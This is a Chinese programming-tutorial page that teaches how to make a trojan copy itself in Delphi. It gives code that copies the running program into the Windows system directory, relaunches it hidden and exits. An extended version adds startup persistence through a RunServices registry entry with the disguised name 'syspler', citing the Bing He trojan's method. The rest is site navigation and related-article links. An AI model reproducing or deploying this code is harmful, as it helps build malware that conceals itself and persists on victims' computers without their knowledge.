Delphi實現(xiàn)木馬自我拷貝方法
木馬實現(xiàn)自我拷貝的原理是程序運行時先查看自己是不是在特定目錄下,如果是就繼續(xù)運行,如果不是就把自己拷貝到特定目錄下,然后運行新程序,繼而退出舊程序.
本例即以Delphi實現(xiàn)木馬的自我拷貝。
首先打開Delphi,新建一個工程,在窗口的Create事件中寫入如下代碼:
procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件 application.Terminate;//退出 end; end;
其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows啟動時自動啟動?
為了程序能在Windows每次啟動時自動運行,可以通過以下途徑來實現(xiàn).“冰河”用注冊表的方式。
加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下:
procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;
上一篇:Delphi之Pascal語言中的關(guān)鍵字及保留字匯總
欄 目:Delphi
下一篇:Delphi用TActionList實現(xiàn)下載文件的方法
本文標(biāo)題:Delphi實現(xiàn)木馬自我拷貝方法
本文地址:http://mengdiqiu.com.cn/a1/Delphi/8627.html
您可能感興趣的文章
- 01-10在Delphi實現(xiàn)在數(shù)據(jù)庫中存取圖像的圖文演示無錯
- 01-10delphi建立、讀取、存貯INI文件的方法《三》
- 01-10Delphi Command模式
- 01-10delphi 正弦曲線圖
- 01-10delphi建立、讀取、存貯INI文件的方法《二》
- 01-10插件管理框架 for Delphi(二)
- 01-10插件管理框架 for Delphi(一)
- 01-10Delphi中判斷文件是否為文本文件的函數(shù)
- 01-10delphi中一個值得大家來考慮的DLL問題
- 01-10初探Delphi中的插件編程


閱讀排行
本欄相關(guān)
- 01-10在Delphi實現(xiàn)在數(shù)據(jù)庫中存取圖像的圖
- 01-10delphi建立、讀取、存貯INI文件的方法
- 01-10delphi 正弦曲線圖
- 01-10Delphi Command模式
- 01-10delphi建立、讀取、存貯INI文件的方法
- 01-10插件管理框架 for Delphi(二)
- 01-10插件管理框架 for Delphi(一)
- 01-10Delphi中判斷文件是否為文本文件的函
- 01-10delphi中一個值得大家來考慮的DLL問題
- 01-10初探Delphi中的插件編程
隨機閱讀
- 01-10C#中split用法實例總結(jié)
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 01-11ajax實現(xiàn)頁面的局部加載
- 08-05織夢dedecms什么時候用欄目交叉功能?
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 01-10delphi制作wav文件的方法
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 04-02jquery與jsp,用jquery
- 01-10使用C語言求解撲克牌的順子及n個骰子
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改